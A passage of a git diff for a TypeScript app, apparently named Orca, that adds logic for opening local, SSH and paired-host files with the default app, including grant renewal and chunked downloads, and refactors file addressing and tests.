+    expect(openFilePath).toHaveBeenCalledWith('/repo/report.docx', 'local')
+    expect(fsDownloadFile).not.toHaveBeenCalled()
+  })
+
+  it('downloads an SSH file before the OS opens the saved copy', async () => {
+    fsDownloadFile.mockResolvedValue({ canceled: false, destinationPath: '/dl/report.docx' })
+
+    await openRuntimeFileWithDefaultApp({
+      target: { kind: 'local' },
+      filePath: '/home/me/report.docx',
+      connectionId: 'ssh-1'
+    })
+
+    expect(fsDownloadFile).toHaveBeenCalledWith({
+      filePath: '/home/me/report.docx',
+      connectionId: 'ssh-1'
+    })
+    expect(openFilePath).toHaveBeenCalledWith('/dl/report.docx', 'local')
+  })
+
+  const scratchRoot = `/state/chat-scratch/${'a'.repeat(32)}`
+  it.each([
+    {
+      name: 'a workspace file',
+      filePath: '/srv/repo/deck/slides.pptx',
+      relativePath: 'deck/slides.pptx',
+      host: { worktree: 'id:wt-1', relativePath: 'deck/slides.pptx' }
+    },
+    {
+      name: "a chat's scratch file",
+      filePath: `${scratchRoot}/slides.pptx`,
+      relativePath: `${scratchRoot}/slides.pptx`,
+      host: { worktree: `path:${scratchRoot}`, relativePath: 'slides.pptx' }
+    }
+  ])('streams $name on a paired host to the saved copy it opens', async (file) => {
+    const bytes = Buffer.from('PK\u0003\u0004slides')
+    runtimeEnvironmentCall.mockImplementation(
+      async (args: { method: string; params?: unknown }) => {
+        if (args.method !== 'files.readChunk') {
+          throw new Error(`unexpected ${args.method}`)
+        }
+        expect(args.params).toMatchObject(file.host)
+        const offset = Number(fieldOf(args.params, 'offset'))
+        const page = bytes.subarray(offset, offset + 6)
+        return {
+          id: 'rpc',
+          ok: true,
+          result: {
+            contentBase64: page.toString('base64'),
+            bytesRead: page.length,
+            eof: offset + page.length >= bytes.length
+          },
+          _meta: { runtimeId: 'remote-runtime' }
+        }
+      }
+    )
+    fsStartDownloadedFile.mockResolvedValue({ canceled: false, transferId: 't-1' })
+    fsFinishDownloadedFile.mockResolvedValue({
+      canceled: false,
+      destinationPath: '/dl/slides.pptx'
+    })
+
+    await openRuntimeFileWithDefaultApp({
+      target: { kind: 'environment', environmentId: 'env-1' },
+      filePath: file.filePath,
+      relativePath: file.relativePath,
+      worktreeId: 'wt-1'
+    })
+
+    expect(fsStartDownloadedFile).toHaveBeenCalledWith({ suggestedName: 'slides.pptx' })
+    const saved = fsAppendDownloadedFileChunk.mock.calls.map(([chunk]) =>
+      String(fieldOf(chunk, 'contentBase64'))
+    )
+    expect(Buffer.concat(saved.map((page) => Buffer.from(page, 'base64')))).toEqual(bytes)
+    expect(openFilePath).toHaveBeenCalledWith('/dl/slides.pptx', 'local')
+  })
+
+  // Why: the tab keeps the grant its read used, and the host expires it while the tab sits open.
+  it('renews a lapsed grant before downloading a host file outside every workspace', async () => {
+    const meta = { runtimeId: 'remote-runtime' }
+    const statusGet = runtimeEnvironmentTransportCall.getMockImplementation()
+    runtimeEnvironmentTransportCall.mockImplementation(async (args) =>
+      args.method === 'status.get'
+        ? {
+            id: 'status',
+            ok: true,
+            result: {
+              runtimeId: 'remote-runtime',
+              runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION,
+              minCompatibleRuntimeClientVersion: MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION,
+              capabilities: [TERMINAL_ARTIFACT_CHUNK_RUNTIME_CAPABILITY]
+            },
+            _meta: meta
+          }
+        : statusGet?.(args)
+    )
+    const chunkGrants: unknown[] = []
+    runtimeEnvironmentCall.mockImplementation(async ({ method, params }) => {
+      const grantId = fieldOf(params, 'grantId')
+      if (method === 'files.resolveTerminalPath') {
+        return {
+          id: 'rpc',
+          ok: true,
+          result: {
+            worktree: 'wt-1',
+            relativePath: null,
+            absolutePath: '/tmp/out.zip',
+            exists: true,
+            isDirectory: false,
+            openTarget: {
+              kind: 'absolute-file',
+              provider: 'local',
+              absolutePath: '/tmp/out.zip',
+              grantId: 'g-2'
+            }
+          },
+          _meta: meta
+        }
+      }
+      if (grantId === 'g-1') {
+        return {
+          id: 'rpc',
+          ok: false,
+          error: { code: 'runtime_error', message: 'terminal_file_grant_expired' },
+          _meta: meta
+        }
+      }
+      if (method === 'files.readTerminalArtifactChunk') {
+        chunkGrants.push(grantId)
+        return {
+          id: 'rpc',
+          ok: true,
+          result: { contentBase64: 'AQID', bytesRead: 3, eof: true },
+          _meta: meta
+        }
+      }
+      throw new Error(`unexpected ${method}`)
+    })
+    fsStartDownloadedFile.mockResolvedValue({ canceled: false, transferId: 't-1' })
+    fsFinishDownloadedFile.mockResolvedValue({ canceled: false, destinationPath: '/dl/out.zip' })
+
+    await openRuntimeFileWithDefaultApp({
+      target: { kind: 'environment', environmentId: 'env-1' },
+      filePath: '/tmp/out.zip',
+      relativePath: '/tmp/out.zip',
+      worktreeId: 'wt-1',
+      terminalArtifactGrantId: 'g-1'
+    })
+
+    expect(chunkGrants).toEqual(['g-2'])
+    expect(openFilePath).toHaveBeenCalledWith('/dl/out.zip', 'local')
+  })
+
+  it('opens nothing when the save dialog is cancelled', async () => {
+    fsDownloadFile.mockResolvedValue({ canceled: true })
+
+    await expect(
+      openRuntimeFileWithDefaultApp({
+        target: { kind: 'local' },
+        filePath: '/home/me/report.docx',
+        connectionId: 'ssh-1'
+      })
+    ).resolves.toBe(true)
+    expect(openFilePath).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.ts b/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.ts
new file mode 100644
index 00000000000..5c01b3377da
--- /dev/null
+++ b/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.ts
@@ -0,0 +1,91 @@
+import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host'
+import { basename } from '@/lib/path'
+import { RuntimeRpcCallError } from '../../rpc/calls/runtime-rpc-result'
+import type { RuntimeFileDownloadResult, RuntimeFileReadArgs } from '../runtime-file-client-types'
+import {
+  hostStreamsGrantedFiles,
+  isRenewableGrantError,
+  renewRestoredHostFileGrant,
+  type TerminalArtifactGrantTarget
+} from '../grants/runtime-terminal-artifact-grant'
+import {
+  rangeReadTarget,
+  statRemoteRuntimeFile,
+  type RuntimeRemoteFileAddress
+} from './runtime-file-range-client'
+import {
+  downloadGrantedRuntimeFile,
+  downloadRemoteRuntimeFile
+} from './runtime-remote-file-download'
+
+/** True when this client's OS can open the file in place; any other file is downloaded first. */
+export function isClientLocalRuntimeFile(source: RuntimeFileReadArgs): boolean {
+  return source.target.kind === 'local' && !source.connectionId
+}
+
+/**
+ * Opens a file with this client's default app, on the route it was read from. The OS can only
+ * launch a local file, so an SSH or paired-host file is downloaded to a path the user picks first.
+ * False when no app opened it; a cancelled save dialog counts as handled.
+ */
+export async function openRuntimeFileWithDefaultApp(source: RuntimeFileReadArgs): Promise<boolean> {
+  const { filePath, connectionId } = source
+  const remote = rangeReadTarget(source)
+  let download: RuntimeFileDownloadResult
+  if (remote) {
+    download = await downloadPairedHostFile(source, remote)
+  } else if (connectionId) {
+    download = await window.api.fs.downloadFile({ filePath, connectionId })
+  } else {
+    return window.api.shell.openFilePath(filePath, LOCAL_EXECUTION_HOST_ID)
+  }
+  if (download.canceled) {
+    return true
+  }
+  return window.api.shell.openFilePath(download.destinationPath, LOCAL_EXECUTION_HOST_ID)
+}
+
+async function downloadPairedHostFile(
+  source: RuntimeFileReadArgs,
+  remote: RuntimeRemoteFileAddress
+): Promise<RuntimeFileDownloadResult> {
+  const name = basename(source.filePath) || source.filePath
+  // rangeReadTarget refuses a paired-host read without its worktree.
+  const worktreeId = source.worktreeId ?? ''
+  const { target } = remote
+  if (remote.grantId === undefined) {
+    const { worktree: worktreeSelector, relativePath } = remote
+    return downloadRemoteRuntimeFile({ target, worktreeId, worktreeSelector, relativePath }, name)
+  }
+  if (!(await hostStreamsGrantedFiles(target.environmentId))) {
+    throw new Error(
+      'Downloading this file requires a newer Orca server. Update the server and try again.'
+    )
+  }
+  const grant = { target, worktreeId, absolutePath: remote.absolutePath }
+  const grantId = await liveGrantId(remote, grant)
+  return downloadGrantedRuntimeFile({ ...grant, grantId }, name)
+}
+
+/** The tab keeps the grant its read used, which the host expires; a lapsed one is renewed before the save dialog. */
+async function liveGrantId(
+  remote: RuntimeRemoteFileAddress & { grantId: string },
+  grant: TerminalArtifactGrantTarget
+): Promise<string> {
+  try {
+    await statRemoteRuntimeFile(remote)
+    return remote.grantId
+  } catch (error) {
+    // Why: hosts that stream granted chunks but predate their stat can't say; the download will.
+    if (error instanceof RuntimeRpcCallError && error.code === 'method_not_found') {
+      return remote.grantId
+    }
+    if (!isRenewableGrantError(error)) {
+      throw error
+    }
+    return renewRestoredHostFileGrant({
+      ...grant,
+      expectedEnvironmentPairingRevision: remote.expectedEnvironmentPairingRevision
+    })
+  }
+}
diff --git a/src/renderer/src/runtime/files/reads/runtime-file-range-client.ts b/src/renderer/src/runtime/files/reads/runtime-file-range-client.ts
index 2e7ec5a3d73..d2aa3b04b0e 100644
--- a/src/renderer/src/runtime/files/reads/runtime-file-range-client.ts
+++ b/src/renderer/src/runtime/files/reads/runtime-file-range-client.ts
@@ -2,7 +2,10 @@ import type { RuntimeFileReadChunkResult } from '../../../../../shared/file-cont
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 import { validateFileRangeRequest } from '../../../../../shared/file-content/file-range-read'
 import type { RuntimeFileReadArgs } from '../runtime-file-client-types'
-import { assertExternalSshReadOwnership, canReadRelativeRuntimeFile } from '../runtime-file-routing'
+import {
+  assertExternalSshReadOwnership,
+  workspaceOrScratchFileAddress
+} from '../runtime-file-routing'
 import { callRuntimeRpc } from '../../rpc/calls/runtime-rpc-call'
 import { RuntimeRpcCallError } from '../../rpc/calls/runtime-rpc-result'
 import { toRuntimeWorktreeSelector } from '../../rpc/targets/runtime-worktree-selector'
@@ -45,10 +48,16 @@ export function rangeReadTarget(args: RuntimeFileReadArgs): RuntimeRemoteFileAdd
       ...pairing
     }
   }
-  if (!canReadRelativeRuntimeFile(args.relativePath)) {
+  const address = workspaceOrScratchFileAddress(args.worktreeId, args.relativePath, args.filePath)
+  if (!address) {
     throw new Error('Remote file is outside the owning runtime worktree')
   }
-  return { target, worktree, relativePath: args.relativePath, ...pairing }
+  return {
+    target,
+    worktree: address.worktreeSelector,
+    relativePath: address.relativePath,
+    ...pairing
+  }
 }
 
 export type RuntimeFileSnapshot = {
diff --git a/src/renderer/src/runtime/files/reads/runtime-file-read-client.ts b/src/renderer/src/runtime/files/reads/runtime-file-read-client.ts
index 27077d51563..ee4d3b982a5 100644
--- a/src/renderer/src/runtime/files/reads/runtime-file-read-client.ts
+++ b/src/renderer/src/runtime/files/reads/runtime-file-read-client.ts
@@ -8,13 +8,11 @@ import type {
 } from '../runtime-file-client-types'
 import {
   assertExternalSshReadOwnership,
-  canReadRelativeRuntimeFile,
   getRemoteFileArgs,
   hasRemoteRuntimeOwner,
-  localAccess
+  localAccess,
+  workspaceOrScratchFileAddress
 } from '../runtime-file-routing'
-import { toRuntimeWorktreeSelector } from '../../rpc/targets/runtime-worktree-selector'
-import { chatScratchFileAddress } from '../addressing/runtime-chat-scratch-file-address'
 import { readRemoteFileContent } from './runtime-remote-file-content'
 import { isAgentSessionAttachmentStorePath } from '../../../../../shared/agent-session/agent-session-attachments'
 import { decodeSvgBase64, isSvgFilePath } from '../../../../../shared/file-preview/svg-document'
@@ -25,12 +23,7 @@ import {
   readHostFileOutsideWorkspaces
 } from '../grants/runtime-terminal-artifact-read'
 import { readRemoteFilePreview } from './runtime-paged-file-read'
-import {
-  downloadRemoteFileViaPreview,
-  readRemoteDownloadChunk,
-  remoteChunkedDownloadAvailable,
-  streamDownloadedFile
-} from './runtime-remote-file-download'
+import { downloadRemoteRuntimeFile } from './runtime-remote-file-download'
 
 /** SVG opens as editable markup; hosts send it as image bytes, or as a URL if a viewer asks. */
 export async function readRuntimeFileContent(
@@ -89,19 +82,13 @@ async function readRuntimeFileContentAsStored({
       pageOversizedBinary: pageOversizedBinary === true
     })
   }
-  // A workspace path first; a chat's scratch file is the absolute path no workspace contains.
-  const scratch = canReadRelativeRuntimeFile(relativePath) ? null : chatScratchFileAddress(filePath)
-  const readPath = scratch?.relativePath ?? relativePath
-  if (!canReadRelativeRuntimeFile(readPath)) {
+  const address = workspaceOrScratchFileAddress(worktreeId, relativePath, filePath)
+  if (!address) {
     throw new Error('Remote file is outside the owning runtime worktree')
   }
 
   return readRemoteFileContent(
-    {
-      target,
-      worktree: scratch?.worktreeSelector ?? toRuntimeWorktreeSelector(worktreeId),
-      relativePath: readPath
-    },
+    { target, worktree: address.worktreeSelector, relativePath: address.relativePath },
     { pageOversizedBinary: pageOversizedBinary === true }
   )
 }
@@ -189,11 +176,5 @@ export async function downloadRuntimeFile(
     })
   }
 
-  if (!(await remoteChunkedDownloadAvailable(remoteArgs))) {
-    return downloadRemoteFileViaPreview(remoteArgs, suggestedName)
-  }
-
-  return streamDownloadedFile(suggestedName, (offset) =>
-    readRemoteDownloadChunk(remoteArgs, offset)
-  )
+  return downloadRemoteRuntimeFile(remoteArgs, suggestedName)
 }
diff --git a/src/renderer/src/runtime/files/reads/runtime-paged-file-read.test.ts b/src/renderer/src/runtime/files/reads/runtime-paged-file-read.test.ts
index 4fb03894d76..ddf50bf894f 100644
--- a/src/renderer/src/runtime/files/reads/runtime-paged-file-read.test.ts
+++ b/src/renderer/src/runtime/files/reads/runtime-paged-file-read.test.ts
@@ -1,13 +1,10 @@
 import { describe, expect, it } from 'vitest'
 import { readRuntimeFileContent } from './runtime-file-read-client'
 import {
-  fsReadFileChunk,
-  fsStat,
   installRuntimeFileClientEnvironment,
   runtimeEnvironmentCall,
   type RuntimeRpcRequest
 } from '../runtime-file-client-test-harness'
-import { readRuntimeFileBytes } from './runtime-paged-file-read'
 
 installRuntimeFileClientEnvironment()
 
@@ -136,16 +133,6 @@ describe('remote reads larger than one RPC reply', () => {
     expect(Buffer.from(result.content, 'utf8').equals(bytes)).toBe(true)
   })
 
-  it('keeps a UTF-8 BOM so a save does not drop it', async () => {
-    const bytes = Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), htmlBytes(MB)])
-    serveRemoteFile('table.csv', { bytes })
-
-    const result = await readRuntimeFileContent(remote('table.csv'))
-
-    expect(result.content.charCodeAt(0)).toBe(0xfeff)
-    expect(Buffer.from(result.content, 'utf8').equals(bytes)).toBe(true)
-  })
-
   it.each([2, 5])('opens a %i MB PDF in the editor', async (sizeMb) => {
     const bytes = patternedBytes(sizeMb * MB)
     serveRemoteFile('paper.pdf', { bytes })
@@ -159,17 +146,6 @@ describe('remote reads larger than one RPC reply', () => {
     expect(Buffer.from(result.content, 'base64').equals(bytes)).toBe(true)
   })
 
-  it('treats a large file with a NUL byte as binary, like a local read', async () => {
-    const bytes = htmlBytes(2 * MB)
-    bytes[10] = 0
-    serveRemoteFile('data.txt', { bytes })
-
-    await expect(readRuntimeFileContent(remote('data.txt'))).resolves.toEqual({
-      content: '',
-      isBinary: true
-    })
-  })
-
   it('rejects a chunk whose payload does not match its byte count', async () => {
     serveRemoteFile('report.html', {
       bytes: htmlBytes(2 * MB),
@@ -181,30 +157,3 @@ describe('remote reads larger than one RPC reply', () => {
     )
   })
 })
-
-describe('whole-file bytes for a bytes custom editor', () => {
-  it('returns the exact bytes of a paged remote workbook', async () => {
-    const bytes = patternedBytes(MB + 17)
-    serveRemoteFile('book.xlsx', { bytes })
-
-    const result = await readRuntimeFileBytes(remote('book.xlsx'), 16 * MB)
-
-    expect(result.kind).toBe('ok')
-    expect(result.kind === 'ok' && Buffer.from(result.bytes).equals(bytes)).toBe(true)
-  })
-
-  it('reads a local file through the local stat and chunk IPC', async () => {
-    const bytes = patternedBytes(300 * 1024)
-    fsStat.mockResolvedValue({ size: bytes.length, isDirectory: false, mtime: 5 })
-    fsReadFileChunk.mockImplementation((args: ChunkParams) =>
-      Promise.resolve(sliceChunk(args, bytes))
-    )
-
-    const result = await readRuntimeFileBytes(
-      { target: { kind: 'local' }, filePath: '/repo/book.xlsx' },
-      16 * MB
-    )
-
-    expect(result.kind === 'ok' && Buffer.from(result.bytes).equals(bytes)).toBe(true)
-  })
-})
diff --git a/src/renderer/src/runtime/files/reads/runtime-paged-file-read.ts b/src/renderer/src/runtime/files/reads/runtime-paged-file-read.ts
index 418b33cb8d0..abde478f35b 100644
--- a/src/renderer/src/runtime/files/reads/runtime-paged-file-read.ts
+++ b/src/renderer/src/runtime/files/reads/runtime-paged-file-read.ts
@@ -35,6 +35,10 @@ const PAGED_READ_CHUNK_BYTES = 384 * 1024
 export const PAGED_REMOTE_FILE_MAX_BYTES = 50 * 1024 * 1024
 export const REMOTE_FILE_CHANGED_DURING_READ_MESSAGE =
   'File changed on disk while it was loading. Reload the file to see the latest version.'
+export const REMOTE_PATH_IS_DIRECTORY_MESSAGE = 'Remote path is a directory'
+// Why: an older server has no files.stat/readChunk, so a truncated files.read cannot be completed.
+export const REMOTE_FILE_PAGED_READ_UNSUPPORTED_MESSAGE =
+  'Remote file is larger than the 512 KB this Orca server can send. Update the server to open it.'
 
 export type PagedRemoteFileRead =
   | { kind: 'ok'; bytes: Uint8Array<ArrayBuffer> }
@@ -86,7 +90,7 @@ export async function readFileInChunks(
     return { kind: 'unsupported' }
   }
   if (before.isDirectory) {
-    throw new Error('Remote path is a directory')
+    throw new Error(REMOTE_PATH_IS_DIRECTORY_MESSAGE)
   }
   if (before.size > maxBytes) {
     return { kind: 'too_large', size: before.size }
diff --git a/src/renderer/src/runtime/files/reads/runtime-remote-file-content.ts b/src/renderer/src/runtime/files/reads/runtime-remote-file-content.ts
index 1d1c9436731..b66cd480503 100644
--- a/src/renderer/src/runtime/files/reads/runtime-remote-file-content.ts
+++ b/src/renderer/src/runtime/files/reads/runtime-remote-file-content.ts
@@ -5,6 +5,7 @@ import type { RuntimeReadableFileContent } from '../runtime-file-client-types'
 import type { RuntimeRemoteFileAddress } from './runtime-file-range-client'
 import { readRemoteRangePreview } from './runtime-file-range-preview'
 import {
+  REMOTE_FILE_PAGED_READ_UNSUPPORTED_MESSAGE,
   pagedTextFileResult,
   pinRemoteFileAddress,
   readRemoteBinaryFile,
@@ -59,7 +60,7 @@ export async function readRemoteFileContent(
     }
     throw new Error(
       paged.kind === 'unsupported'
-        ? 'Remote file is larger than the 512 KB this Orca server can send. Update the server to open it.'
+        ? REMOTE_FILE_PAGED_READ_UNSUPPORTED_MESSAGE
         : `Remote file is too large to open in the editor (${paged.size} bytes)`
     )
   }
diff --git a/src/renderer/src/runtime/files/reads/runtime-remote-file-download.ts b/src/renderer/src/runtime/files/reads/runtime-remote-file-download.ts
index 6babfa62641..8caf955127b 100644
--- a/src/renderer/src/runtime/files/reads/runtime-remote-file-download.ts
+++ b/src/renderer/src/runtime/files/reads/runtime-remote-file-download.ts
@@ -58,6 +58,19 @@ export async function readRemoteDownloadChunk(
   )
 }
 
+/** A workspace file on a paired host, streamed in pages, or in one reply from hosts that can't page. */
+export async function downloadRemoteRuntimeFile(
+  remoteArgs: RemoteFileDownloadArgs,
+  suggestedName: string
+): Promise<RuntimeFileDownloadResult> {
+  if (!(await remoteChunkedDownloadAvailable(remoteArgs))) {
+    return downloadRemoteFileViaPreview(remoteArgs, suggestedName)
+  }
+  return streamDownloadedFile(suggestedName, (offset) =>
+    readRemoteDownloadChunk(remoteArgs, offset)
+  )
+}
+
 /** A host file outside every workspace, paged through the grant the host issued for it. */
 export function downloadGrantedRuntimeFile(
   grant: {
diff --git a/src/renderer/src/runtime/files/runtime-file-routing.ts b/src/renderer/src/runtime/files/runtime-file-routing.ts
index d44e6c49f3e..00a32ece85a 100644
--- a/src/renderer/src/runtime/files/runtime-file-routing.ts
+++ b/src/renderer/src/runtime/files/runtime-file-routing.ts
@@ -71,6 +71,18 @@ export function canReadRelativeRuntimeFile(
   return Boolean(relativePath && relativePath.trim() && !isAbsolutePathLike(relativePath))
 }
 
+/** A workspace file by its relative path, else a chat's scratch file by its absolute path. */
+export function workspaceOrScratchFileAddress(
+  worktreeId: string,
+  relativePath: string | undefined,
+  filePath: string
+): { worktreeSelector: string; relativePath: string } | null {
+  if (canReadRelativeRuntimeFile(relativePath)) {
+    return { worktreeSelector: toRuntimeWorktreeSelector(worktreeId), relativePath }
+  }
+  return chatScratchFileAddress(filePath)
+}
+
 function isAbsolutePathLike(value: string): boolean {
   return value.startsWith('/') || isWindowsAbsolutePathLike(value)
 }
diff --git a/src/renderer/src/runtime/files/search/runtime-file-client-search-listing.test.ts b/src/renderer/src/runtime/files/search/runtime-file-client-search-listing.test.ts
index 44325099070..faf5e09326a 100644
--- a/src/renderer/src/runtime/files/search/runtime-file-client-search-listing.test.ts
+++ b/src/renderer/src/runtime/files/search/runtime-file-client-search-listing.test.ts
@@ -5,116 +5,10 @@ import {
   runtimeEnvironmentSubscribe,
   installRuntimeFileClientEnvironment
 } from '../runtime-file-client-test-harness'
-import { replaceRuntimeEnvironmentRevisions } from '../../rpc/environment-revisions/runtime-environment-revision'
 
 installRuntimeFileClientEnvironment()
 
 describe('runtime file client', () => {
-  it('falls back to one cached legacy inventory and ranks evolving queries locally', async () => {
-    replaceRuntimeEnvironmentRevisions([{ id: 'env-1', createdAt: 1 }])
-    runtimeEnvironmentCall.mockImplementation(({ method }) => {
-      if (method === 'files.searchPaths') {
-        return Promise.resolve({
-          id: 'rpc-search-legacy',
-          ok: false,
-          error: { code: 'method_not_found', message: 'Unknown method: files.searchPaths' },
-          _meta: { runtimeId: 'legacy-runtime' }
-        })
-      }
-      return Promise.resolve({
-        id: 'rpc-list-legacy',
-        ok: true,
-        result: {
-          worktree: 'wt-1',
-          rootPath: '/remote/repo',
-          files: [
-            { relativePath: 'src/target.ts', basename: 'target.ts', kind: 'text' },
-            { relativePath: 'src/other.ts', basename: 'other.ts', kind: 'text' },
-            { relativePath: 'nested/target.ts', basename: 'target.ts', kind: 'text' }
-          ],
-          totalCount: 7_000,
-          truncated: true
-        },
-        _meta: { runtimeId: 'legacy-runtime' }
-      })
-    })
-
-    await expect(
-      searchRuntimeFilePaths(
-        {
-          target: { kind: 'environment' as const, environmentId: 'env-1' },
-          worktreeId: 'wt-1',
-          worktreePath: '/remote/repo'
-        },
-        {
-          query: 'target',
-          limit: 32,
-          excludePaths: ['/remote/repo/nested']
-        }
-      )
-    ).resolves.toEqual({ files: ['src/target.ts'], truncated: true })
-
-    await expect(
-      searchRuntimeFilePaths(
-        {
-          target: { kind: 'environment' as const, environmentId: 'env-1' },
-          worktreeId: 'wt-1',
-          worktreePath: '/remote/repo'
-        },
-        { query: 'other', limit: 32 }
-      )
-    ).resolves.toEqual({ files: ['src/other.ts'], truncated: true })
-  })
-
-  it('re-applies exclusions for legacy runtimes that ignore quick-open fields', async () => {
-    runtimeEnvironmentCall.mockImplementation(({ method }) => {
-      if (method === 'files.searchPaths') {
-        return Promise.resolve({
-          id: 'rpc-legacy-search',
-          ok: true,
-          result: {
-            worktree: 'wt-1',
-            rootPath: '/remote/repo',
-            files: Array.from({ length: 32 }, (_, index) => ({
-              relativePath: `nested/target-${index}.ts`,
-              basename: `target-${index}.ts`,
-              kind: 'text'
-            })),
-            totalCount: 33,
-            truncated: true
-          },
-          _meta: { runtimeId: 'legacy-runtime' }
-        })
-      }
-      return Promise.resolve({
-        id: 'rpc-legacy-list',
-        ok: true,
-        result: {
-          worktree: 'wt-1',
-          rootPath: '/remote/repo',
-          files: [
-            { relativePath: 'src/target.ts', basename: 'target.ts', kind: 'text' },
-            { relativePath: 'nested/target.ts', basename: 'target.ts', kind: 'text' }
-          ],
-          totalCount: 2,
-          truncated: false
-        },
-        _meta: { runtimeId: 'legacy-runtime' }
-      })
-    })
-
-    await expect(
-      searchRuntimeFilePaths(
-        {
-          target: { kind: 'environment' as const, environmentId: 'env-1' },
-          worktreeId: 'wt-1',
-          worktreePath: '/remote/repo'
-        },
-        { query: 'target', limit: 32, excludePaths: ['/remote/repo/nested'] }
-      )
-    ).resolves.toEqual({ files: ['src/target.ts'], truncated: false })
-  })
-
   it('cancels a legacy paired inventory scan when its only search is superseded', async () => {
     const controller = new AbortController()
     const unsubscribeSearch = vi.fn()
diff --git a/src/renderer/src/runtime/hosted-terminals/creation/agent-launch/web-runtime-agent-launch-options.test-fixture.ts b/src/renderer/src/runtime/hosted-terminals/creation/agent-launch/web-runtime-agent-launch-options.test-fixture.ts
deleted file mode 100644
index abeedb896da..00000000000
--- a/src/renderer/src/runtime/hosted-terminals/creation/agent-launch/web-runtime-agent-launch-options.test-fixture.ts
+++ /dev/null
@@ -1,226 +0,0 @@
-import type * as SessionTabsStateModule from '../../../web-session-tabs-sync/state'
-// @vitest-environment happy-dom
-import { cleanup } from '@testing-library/react'
-import { afterEach, beforeEach, vi, type Mock } from 'vitest'
-import { resetWebSessionCloseIntentForTests } from '../../../web-session-tabs-sync/closing/web-session-close-intent'
-import {
-  WORKTREE_ID,
-  FOCUS_LEAF_ID,
-  ENVIRONMENT_ID,
-  makeSnapshot,
-  resetTerminalCreateEnvironment,
-  stubTerminalCreateEnvironment
-} from '../testing/web-runtime-terminal-create.test-fixture'
-import { stubRuntimeEnvironmentBridge } from '../../../rpc/testing/runtime-environment-bridge-fixture'
-
-type LaunchMocks = {
-  launched: Mock<typeof launch>
-  observation: Mock
-  picker: Mock
-  getState: Mock
-  setState: Mock
-  subscribe: Mock
-  setActiveWorktree: Mock
-  createBrowserTab: Mock
-  closeEmptyGroup: Mock
-  moveUnifiedTabToGroup: Mock
-  setRemoteBrowserPageHandle: Mock
-  focusBrowserTabInWorktree: Mock
-  applyWebSessionTabsSnapshot: Mock
-  decideWebSessionTabsSnapshot: Mock
-  getWebSessionTabsTrackingGeneration: Mock
-  acceptReplayedWebSessionTabsSnapshot: Mock
-  resolveHostSessionTabIdForWebSessionTab: Mock
-  trackTerminalPaneSplit: Mock
-  deliverLaunchPromptToAgentTab: Mock
-  seedNativeChatLaunchDraftForAgentTab: Mock
-  hasMaterializedWebRuntimeBrowserPage: Mock
-  toastError: Mock
-}
-
-const mocks: LaunchMocks = vi.hoisted(() => ({
-  launched: vi.fn<typeof launch>(),
-  observation: vi.fn(),
-  picker: vi.fn(),
-  getState: vi.fn(),
-  setState: vi.fn(),
-  subscribe: vi.fn(),
-  setActiveWorktree: vi.fn(),
-  createBrowserTab: vi.fn(),
-  closeEmptyGroup: vi.fn(),
-  moveUnifiedTabToGroup: vi.fn(),
-  setRemoteBrowserPageHandle: vi.fn(),
-  focusBrowserTabInWorktree: vi.fn(),
-  applyWebSessionTabsSnapshot: vi.fn(),
-  decideWebSessionTabsSnapshot: vi.fn(() => ({ apply: true, settlesHostMirror: true })),
-  getWebSessionTabsTrackingGeneration: vi.fn(() => 0),
-  acceptReplayedWebSessionTabsSnapshot: vi.fn(),
-  resolveHostSessionTabIdForWebSessionTab: vi.fn(),
-  trackTerminalPaneSplit: vi.fn(),
-  deliverLaunchPromptToAgentTab: vi.fn(),
-  seedNativeChatLaunchDraftForAgentTab: vi.fn(),
-  hasMaterializedWebRuntimeBrowserPage: vi.fn(),
-  toastError: vi.fn()
-}))
-
-vi.mock('../../../../store/index', () => ({
-  useAppStore: Object.assign((select: (state: unknown) => unknown) => select(mocks.getState()), {
-    getState: mocks.getState,
-    setState: mocks.setState,
-    subscribe: mocks.subscribe
-  })
-}))
-
-vi.mock('@/components/tab-bar/use-new-tab-agent-menu-rows', () => ({
-  useAgentMenuObservation: mocks.observation
-}))
-vi.mock('@/hooks/useAgentDetectionTarget', () => ({
-  useAgentDetectionTargetForWorktree: () => null
-}))
-vi.mock('@/components/agent/AgentLaunchPicker', () => ({ AgentLaunchPicker: mocks.picker }))
-vi.mock('@/lib/agent-session/launch/inventory/host-chat-program', () => ({
-  agentsOfferedForLaunch: () => ['claude']
-}))
-vi.mock('@/lib/agent-session/launch/inventory/host-chat-program-acquisition', () => ({
-  acquireAgentLaunchChoices: async () => ({ detected: ['claude'], offered: ['claude'] })
-}))
-vi.mock('@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab', () => ({
-  launchAgentInNewTab: (input: Parameters<typeof launch>[0]) => {
-    const terminalCompletion = mocks.launched(input)
-    return { surface: { kind: 'host-published' }, terminalCompletion }
-  }
-}))
-
-vi.mock('../../../web-session-tabs-sync/state', async (importOriginal) => ({
-  ...(await importOriginal<typeof SessionTabsStateModule>()),
-  acceptReplayedWebSessionTabsSnapshot: mocks.acceptReplayedWebSessionTabsSnapshot
-}))
-
-vi.mock('../../../web-session-tabs-sync/tracking-lifecycle', () => ({
-  getWebSessionTabsTrackingGeneration: mocks.getWebSessionTabsTrackingGeneration
-}))
-vi.mock('../../../web-session-tabs-sync/snapshot-api', () => ({
-  applyWebSessionTabsSnapshot: mocks.applyWebSessionTabsSnapshot
-}))
-vi.mock('../../../web-session-tabs-sync/tracking-decisions', () => ({
-  decideWebSessionTabsSnapshot: mocks.decideWebSessionTabsSnapshot
-}))
-vi.mock('../../../web-session-tabs-sync/store-patch', () => ({
-  applyWebSessionTabsStorePatch: (buildPatch: (state: unknown) => unknown) => {
-    mocks.setState(buildPatch)
-    return () => {}
-  }
-}))
-vi.mock('../../../web-session-tabs-sync/tracking-mappings', () => ({
-  resolveHostSessionTabIdForWebSessionTab: mocks.resolveHostSessionTabIdForWebSessionTab
-}))
-
-vi.mock('@/diagnostics/telemetry/feature-education-telemetry', () => ({
-  trackTerminalPaneSplit: mocks.trackTerminalPaneSplit
-}))
-
-vi.mock('@/lib/agent-session/launch/prompt/agent-launch-prompt-delivery', () => ({
-  deliverLaunchPromptToAgentTab: mocks.deliverLaunchPromptToAgentTab,
